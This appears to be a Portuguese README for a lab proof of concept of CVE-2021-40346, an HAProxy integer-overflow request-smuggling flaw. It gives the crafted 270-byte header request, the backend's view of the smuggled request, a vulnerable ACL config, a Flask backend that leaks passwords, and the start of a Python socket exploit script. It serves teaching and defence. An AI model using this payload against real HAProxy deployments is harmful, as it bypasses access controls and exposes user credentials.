
HTTP Request Smuggling
Este projeto demonstra a CVE-2021-40346, uma vulnerabilidade crítica de integer overflow no HAProxy que permite ataques de HTTP Request Smuggling para contornar controles de segurança.
Pontuação CVSSv3: 7,5 (Alta)
CVE-2021-40346 é uma vulnerabilidade de integer overflow na lógica de parsing de cabeçalhos HTTP do HAProxy. Quando um nome de cabeçalho excede 255 bytes, o valor de comprimento transborda de um campo de 8 bits, fazendo com que o HAProxy interprete incorretamente o cabeçalho durante o encaminhamento de requisições.
Atacante envia: Nome do cabeçalho = "Content-Length0" + 255×'a' = 270 bytes
Fase 1 (Parsing Inicial):
name_length = 270 % 256 = 14 (overflow de 8 bits)value_length = 1Content-Length: 60 e o trata como comprimento do corpoFase 2 (Encaminhamento da Requisição):
"Content-Length""0"content-length: 0 à requisição encaminhadaContent-Length: 60 (conforme lógica normal)Processamento do Backend:
content-length: 0 do HAProxyConsidere o HAProxy configurado com regras de ACL que restringem o acesso a rotas de admin:
http-request deny if { path_beg /users/admin }
Em nosso PoC, usamos uma sessão de usuário comum (alice) para acessar o endpoint protegido /users/admin que deveria ser acessível apenas a administradores.
Requisição Maliciosa (Request 1 - Poison):
POST / HTTP/1.1
Host: 127.0.0.1:8080
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 78
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:
Requisição que o HAProxy Encaminha:
POST / HTTP/1.1
host: 127.0.0.1:8080
content-length: 0
x-forwarded-for: 192.168.188.1
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:
Requisição de Conclusão (Request 2):
GET / HTTP/1.1
Host: 127.0.0.1:8080
Requisição Contrabandeada Completa que o Backend Processa:
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:GET / HTTP/1.1
Host: 127.0.0.1:8080
Resultado:
content-length: 0 (ACL vê rota segura)A instância vulnerável do HAProxy é configurada com regras de ACL para proteger o endpoint admin:
...
# ACL to detect admin endpoint access
acl is_admin_endpoint path_beg /users/admin
# ACL to check for admin session cookie
acl has_admin_session cook(session) -m beg admin_
# Deny access to admin endpoint if user doesn't have admin session
http-request deny if is_admin_endpoint !has_admin_session
...
Pontos-Chave:
/users/admin é bloqueado a menos que o cookie de sessão comece com admin_user_) são negadosO servidor backend possui três usuários e um endpoint admin:
USERS = [
{'id': 1, 'username': 'alice', 'password': 'alice123', 'role': 'user'},
{'id': 2, 'username': 'bob', 'password': 'bob456', 'role': 'user'},
{'id': 3, 'username': 'admin', 'password': 'admin_secret', 'role': 'admin'},
]
@app.route('/login', methods=['POST'])
def login():
# ... lógica de autenticação ...
# Gera token de sessão com prefixo do papel
prefix = 'admin_' if user['role'] == 'admin' else 'user_'
token = prefix + secrets.token_hex(16)
resp.set_cookie('session', token, httponly=True)
return resp
@app.route('/users/admin', methods=['GET', 'POST'])
def users_admin():
# Retorna dados sensíveis incluindo todas as senhas dos usuários
rows = ''.join([
f"{u['id']} | {u['username']} | {u['email']} | "
f"{u['password']} | {u['role']}"
for u in USERS
])
return f"ADMIN PANELAll users with passwords:{rows}"
Modelo de Segurança:
user_a1b2c3d4...admin_a1b2c3d4.../users/adminPor que Isso Funciona:
POST / (permitida)POST / (sem restrição de admin)content-length: 0 (devido ao bug de overflow)GET /users/adminGET /users/admin diretamente, revelando senhasLição de Defesa em Profundidade: Isso demonstra por que backends nunca devem confiar cegamente no proxy. Mesmo com as ACLs do HAProxy em vigor, o backend deve:
@require_admin)Confiar exclusivamente no controle de acesso em nível de proxy cria um ponto único de falha.
O PoC demonstra o contorno das ACLs do HAProxy para acessar /users/admin usando a sessão de um usuário comum através de quatro etapas principais:
# Login como alice (usuário não-admin)
body = "username=alice&password=alice123"
login = f"POST /login HTTP/1.1\r\n" \
f"Host: {TARGET}:{PORT}\r\n" \
f"Content-Type: application/x-www-form-urlencoded\r\n" \
f"Content-Length: {len(body)}\r\n\r\n{body}".encode()
sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(login)
time.sleep(0.5)
# Recebe resposta e extrai token de sessão
resp = b""
while True:
chunk = sock.recv(4096)
if not chunk:
break
resp += chunk
sock.close()